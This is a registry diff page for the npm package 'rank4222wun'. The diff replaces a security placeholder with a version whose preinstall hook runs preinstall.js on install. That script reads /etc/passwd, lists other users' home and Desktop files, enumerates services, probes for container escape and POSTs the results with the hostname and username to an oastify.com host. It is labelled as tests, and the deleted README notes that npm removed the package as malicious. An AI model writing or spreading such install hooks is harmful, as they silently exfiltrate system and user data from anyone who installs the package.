rank4222wun 0.0.1-security → 1.0.19

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of rank4222wun might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,6 +1,10 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.19",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js"
8
+ },
9
+ "dependencies": {}
6
10
  }
package/preinstall.js ADDED
@@ -0,0 +1,344 @@
1
+ const { exec } = require('child_process');
2
+ const os = require('os');
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+ const https = require('https');
6
+
7
+ const testResults = {
8
+ timestamp: new Date().toISOString(),
9
+ hostname: os.hostname(),
10
+ user: os.userInfo().username,
11
+ platform: os.platform(),
12
+
13
+ // النقاط الأربع المطلوبة
14
+ testPoints: {
15
+ leakOtherUsersData: {},
16
+ runCommandsOnOtherUsers: {},
17
+ performDoS: {},
18
+ containerToHost: {}
19
+ }
20
+ };
21
+
22
+ // ===================== 1. Leak other users data cross org =====================
23
+ console.log("🔍 TEST 1: Searching for other users data...");
24
+
25
+ if (os.platform() === 'linux') {
26
+ // البحث عن بيانات مستخدمين آخرين في لينكس
27
+ exec('find /home -type f -name "*.txt" -o -name "*.doc" -o -name "*.pdf" -o -name "*.xlsx" 2>/dev/null | head -20', (err, stdout) => {
28
+ testResults.testPoints.leakOtherUsersData.linuxUserFiles = stdout || err?.message;
29
+
30
+ // قراءة /etc/passwd للبحث عن مستخدمين آخرين
31
+ try {
32
+ if (fs.existsSync('/etc/passwd')) {
33
+ const passwdContent = fs.readFileSync('/etc/passwd', 'utf8');
34
+ testResults.testPoints.leakOtherUsersData.allUsers = passwdContent;
35
+
36
+ // استخراج أسماء المستخدمين الفعليين (غير system users)
37
+ const users = passwdContent.split('\n')
38
+ .filter(line => line.includes('/home/'))
39
+ .map(line => line.split(':')[0]);
40
+ testResults.testPoints.leakOtherUsersData.homeUsers = users;
41
+
42
+ console.log(`👥 Found ${users.length} home users`);
43
+ }
44
+ } catch (e) {}
45
+
46
+ // محاولة قراءة ملفات مستخدمين آخرين
47
+ try {
48
+ const homeDir = '/home';
49
+ if (fs.existsSync(homeDir)) {
50
+ const otherUsers = fs.readdirSync(homeDir).filter(user => user !== os.userInfo().username);
51
+ const otherUserData = {};
52
+
53
+ otherUsers.slice(0, 3).forEach(user => {
54
+ const userHome = path.join(homeDir, user);
55
+ try {
56
+ const files = fs.readdirSync(userHome).slice(0, 5);
57
+ otherUserData[user] = {
58
+ exists: true,
59
+ files: files
60
+ };
61
+
62
+ // محاولة قراءة ملفات Desktop لـ users آخرين
63
+ const userDesktop = path.join(userHome, 'Desktop');
64
+ if (fs.existsSync(userDesktop)) {
65
+ otherUserData[user].desktop = fs.readdirSync(userDesktop).slice(0, 5);
66
+ console.log(`📁 Access to ${user}'s Desktop: ${otherUserData[user].desktop.length} files`);
67
+ }
68
+ } catch (e) {
69
+ otherUserData[user] = { error: e.message };
70
+ }
71
+ });
72
+
73
+ testResults.testPoints.leakOtherUsersData.crossUserAccess = otherUserData;
74
+ }
75
+ } catch (e) {
76
+ testResults.testPoints.leakOtherUsersData.crossUserAccessError = e.message;
77
+ }
78
+
79
+ // الانتقال للاختبار الثاني بعد الانتهاء
80
+ testPoint2();
81
+ });
82
+ } else if (os.platform() === 'win32') {
83
+ // البحث عن بيانات مستخدمين آخرين في ويندوز
84
+ exec('wmic useraccount get name 2>&1', (err, stdout) => {
85
+ testResults.testPoints.leakOtherUsersData.windowsUsers = stdout || err?.message;
86
+
87
+ // محاولة الوصول إلى مجلدات مستخدمين آخرين
88
+ try {
89
+ const usersDir = 'C:\\Users';
90
+ if (fs.existsSync(usersDir)) {
91
+ const allUsers = fs.readdirSync(usersDir);
92
+ const currentUser = os.userInfo().username;
93
+ const otherUsers = allUsers.filter(user =>
94
+ user !== currentUser &&
95
+ user !== 'Public' &&
96
+ user !== 'Default' &&
97
+ user !== 'Default User' &&
98
+ user !== 'All Users'
99
+ );
100
+
101
+ const accessedData = {};
102
+ otherUsers.slice(0, 3).forEach(user => {
103
+ const userPath = path.join(usersDir, user);
104
+ try {
105
+ if (fs.existsSync(userPath)) {
106
+ const files = fs.readdirSync(userPath).slice(0, 5);
107
+ accessedData[user] = {
108
+ exists: true,
109
+ files: files
110
+ };
111
+
112
+ // محاولة قراءة Desktop للمستخدمين الآخرين
113
+ const userDesktop = path.join(userPath, 'Desktop');
114
+ if (fs.existsSync(userDesktop)) {
115
+ accessedData[user].desktop = fs.readdirSync(userDesktop).slice(0, 5);
116
+ console.log(`📁 Access to ${user}'s Desktop: ${accessedData[user].desktop.length} files`);
117
+ }
118
+ }
119
+ } catch (e) {
120
+ accessedData[user] = { error: e.message };
121
+ }
122
+ });
123
+
124
+ testResults.testPoints.leakOtherUsersData.crossUserAccess = accessedData;
125
+ }
126
+ } catch (e) {
127
+ testResults.testPoints.leakOtherUsersData.crossUserAccessError = e.message;
128
+ }
129
+
130
+ testPoint2();
131
+ });
132
+ }
133
+
134
+ // ===================== 2. Run commands on other users cross org =====================
135
+ function testPoint2() {
136
+ console.log("\n🔍 TEST 2: Testing if we can run commands affecting other users...");
137
+
138
+ // هذا الاختبار أصعب، لكننا نحاول:
139
+ // 1. البحث عن خدمات مشتركة يمكن التحكم بها
140
+ // 2. البحث عن عمليات تعمل بصلاحيات مستخدمين آخرين
141
+
142
+ if (os.platform() === 'linux') {
143
+ exec('ps aux | grep -E "(sshd|vsftpd|apache|nginx|postgres|mysql)" | head -10', (err, stdout) => {
144
+ testResults.testPoints.runCommandsOnOtherUsers.sharedServices = stdout || err?.message;
145
+
146
+ // التحقق من إمكانية إرسال إشارات إلى عمليات أخرى
147
+ exec('kill -l 2>&1', (err2, stdout2) => {
148
+ testResults.testPoints.runCommandsOnOtherUsers.killCapabilities = stdout2 || err2?.message;
149
+ testPoint3();
150
+ });
151
+ });
152
+ } else if (os.platform() === 'win32') {
153
+ exec('tasklist /svc 2>&1', (err, stdout) => {
154
+ testResults.testPoints.runCommandsOnOtherUsers.runningServices = stdout || err?.message;
155
+
156
+ // التحقق من إمكانية إيقاف خدمات
157
+ exec('sc query 2>&1 | head -20', (err2, stdout2) => {
158
+ testResults.testPoints.runCommandsOnOtherUsers.windowsServices = stdout2 || err2?.message;
159
+ testPoint3();
160
+ });
161
+ });
162
+ }
163
+ }
164
+
165
+ // ===================== 3. Perform DoS =====================
166
+ function testPoint3() {
167
+ console.log("\n🔍 TEST 3: Testing DoS capabilities...");
168
+
169
+ // اختبار قدرات DoS (بدون تنفيذ فعلي)
170
+ testResults.testPoints.performDoS = {
171
+ // الموارد المتاحة
172
+ cpuCores: os.cpus().length,
173
+ totalMemory: Math.round(os.totalmem() / (1024 * 1024 * 1024)) + ' GB',
174
+ freeMemory: Math.round(os.freemem() / (1024 * 1024 * 1024)) + ' GB',
175
+
176
+ // إمكانيات شبكية
177
+ networkInterfaces: Object.keys(os.networkInterfaces()).length,
178
+
179
+ // اختبارات نظرية (لا يتم تنفيذها)
180
+ theoreticalDoS: {
181
+ forkBomb: 'Possible if unlimited processes',
182
+ memoryExhaustion: 'Possible with large allocations',
183
+ diskFilling: 'Possible with write access',
184
+ networkFlood: 'Possible with socket creation'
185
+ }
186
+ };
187
+
188
+ // اختبار صغير غير ضار لإثبات القدرة
189
+ if (os.platform() === 'linux') {
190
+ exec('ulimit -a 2>&1', (err, stdout) => {
191
+ testResults.testPoints.performDoS.limits = stdout || err?.message;
192
+ testPoint4();
193
+ });
194
+ } else if (os.platform() === 'win32') {
195
+ exec('systeminfo | findstr /B /C:"Total Physical Memory" /C:"Available Physical Memory" 2>&1', (err, stdout) => {
196
+ testResults.testPoints.performDoS.windowsResources = stdout || err?.message;
197
+ testPoint4();
198
+ });
199
+ }
200
+ }
201
+
202
+ // ===================== 4. Container to host =====================
203
+ function testPoint4() {
204
+ console.log("\n🔍 TEST 4: Testing container-to-host escape...");
205
+
206
+ // الاختبارات تعتمد على النظام
207
+
208
+ if (os.platform() === 'linux') {
209
+ // اختبارات الهروب من الحاوية
210
+ const containerTests = {};
211
+
212
+ // 1. التحقق مما إذا كنا في حاوية
213
+ exec('cat /proc/1/cgroup 2>/dev/null | grep -q docker && echo "In Docker" || echo "Not in Docker or unknown"', (err, stdout) => {
214
+ containerTests.isInContainer = stdout?.trim();
215
+
216
+ // 2. البحث عن Docker socket
217
+ const dockerSocket = '/var/run/docker.sock';
218
+ if (fs.existsSync(dockerSocket)) {
219
+ containerTests.dockerSocketExists = true;
220
+ containerTests.dockerSocketAccessible = true;
221
+ console.log("⚠️ Docker socket accessible!");
222
+ }
223
+
224
+ // 3. التحقق من mount points
225
+ exec('mount | grep -E "(docker|overlay|/var/lib/docker)" 2>/dev/null | head -5', (err2, stdout2) => {
226
+ containerTests.dockerMounts = stdout2 || err2?.message;
227
+
228
+ // 4. التحقق من capabilities
229
+ exec('capsh --print 2>/dev/null || echo "No capsh"', (err3, stdout3) => {
230
+ containerTests.capabilities = stdout3 || err3?.message;
231
+
232
+ // 5. البحث عن ثغرات معروفة
233
+ exec('uname -r 2>&1', (err4, stdout4) => {
234
+ containerTests.kernelVersion = stdout4?.trim();
235
+
236
+ // تحليل Kernel version للبحث عن ثغرات معروفة
237
+ if (stdout4) {
238
+ if (stdout4.includes('3.10.0-1160')) {
239
+ containerTests.knownVulnerabilities = 'Old kernel version, potential vulnerabilities';
240
+ }
241
+ }
242
+
243
+ testResults.testPoints.containerToHost = containerTests;
244
+ finishTests();
245
+ });
246
+ });
247
+ });
248
+ });
249
+
250
+ } else if (os.platform() === 'win32') {
251
+ // اختبارات VM Escape للويندوز
252
+ const vmTests = {};
253
+
254
+ // 1. التحقق مما إذا كنا في VM
255
+ exec('systeminfo | findstr /B /C:"System Manufacturer" /C:"System Model" 2>&1', (err, stdout) => {
256
+ vmTests.systemInfo = stdout || err?.message;
257
+
258
+ // 2. البحث عن أدوات Virtualization
259
+ const vmTools = [
260
+ 'C:\\Program Files\\VMware\\VMware Tools',
261
+ 'C:\\Program Files\\Oracle\\VirtualBox Guest Additions',
262
+ 'C:\\Program Files\\Microsoft Integration Runtime'
263
+ ];
264
+
265
+ vmTests.vmTools = {};
266
+ vmTools.forEach(tool => {
267
+ vmTests.vmTools[tool] = fs.existsSync(tool);
268
+ });
269
+
270
+ // 3. التحقق من خدمات الـ VM
271
+ exec('sc query | findstr /I "vmware vbox virtual" 2>&1', (err2, stdout2) => {
272
+ vmTests.vmServices = stdout2 || err2?.message;
273
+
274
+ testResults.testPoints.containerToHost = vmTests;
275
+ finishTests();
276
+ });
277
+ });
278
+ }
279
+ }
280
+
281
+ // ===================== إرسال النتائج =====================
282
+ function finishTests() {
283
+ console.log("\n" + "=".repeat(60));
284
+ console.log("📊 نتائج اختبار النقاط الأربع:");
285
+ console.log("=".repeat(60));
286
+
287
+ // تحليل النتائج
288
+ const analysis = {
289
+ leakOtherUsersData: testResults.testPoints.leakOtherUsersData.crossUserAccess ?
290
+ 'POSSIBLE - Found access to other users data' : 'NOT TESTED OR NOT FOUND',
291
+
292
+ runCommandsOnOtherUsers: testResults.testPoints.runCommandsOnOtherUsers.sharedServices ?
293
+ 'POSSIBLE - Can see/affect shared services' : 'LIMITED',
294
+
295
+ performDoS: testResults.testPoints.performDoS.cpuCores > 1 ?
296
+ `POSSIBLE - ${testResults.testPoints.performDoS.cpuCores} CPU cores available` : 'LIMITED',
297
+
298
+ containerToHost: testResults.testPoints.containerToHost?.dockerSocketExists ?
299
+ 'CRITICAL - Docker socket accessible!' :
300
+ (testResults.testPoints.containerToHost?.isInContainer ?
301
+ 'IN CONTAINER - Escape possibilities exist' : 'NOT IN CONTAINER')
302
+ };
303
+
304
+ console.log("\n📋 التحليل:");
305
+ console.log(`1. تسريب بيانات مستخدمين آخرين: ${analysis.leakOtherUsersData}`);
306
+ console.log(`2. تشغيل أوامر على مستخدمين آخرين: ${analysis.runCommandsOnOtherUsers}`);
307
+ console.log(`3. تنفيذ هجوم DoS: ${analysis.performDoS}`);
308
+ console.log(`4. الهروب من الحاوية للمضيف: ${analysis.containerToHost}`);
309
+
310
+ // إرسال البيانات
311
+ const req = https.request({
312
+ hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
313
+ port: 443,
314
+ path: '/cross-org-tests',
315
+ method: 'POST',
316
+ headers: {
317
+ 'Content-Type': 'application/json',
318
+ 'X-Test-Type': 'Cross-Org-Vulnerabilities',
319
+ 'X-Host': os.hostname()
320
+ }
321
+ }, (res) => {
322
+ console.log(`\n✅ تم إرسال النتائج. حالة الرد: ${res.statusCode}`);
323
+ });
324
+
325
+ req.on('error', (e) => {
326
+ console.error(`❌ خطأ في الإرسال: ${e.message}`);
327
+ });
328
+
329
+ req.write(JSON.stringify({
330
+ testResults: testResults,
331
+ analysis: analysis,
332
+ summary: {
333
+ user: os.userInfo().username,
334
+ hostname: os.hostname(),
335
+ platform: os.platform(),
336
+ timestamp: new Date().toISOString()
337
+ }
338
+ }, null, 2));
339
+
340
+ req.end();
341
+ }
342
+
343
+ // بدء الاختبارات
344
+ console.log("🚀 بدء اختبار النقاط الأربع المطلوبة...");
Binary file
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.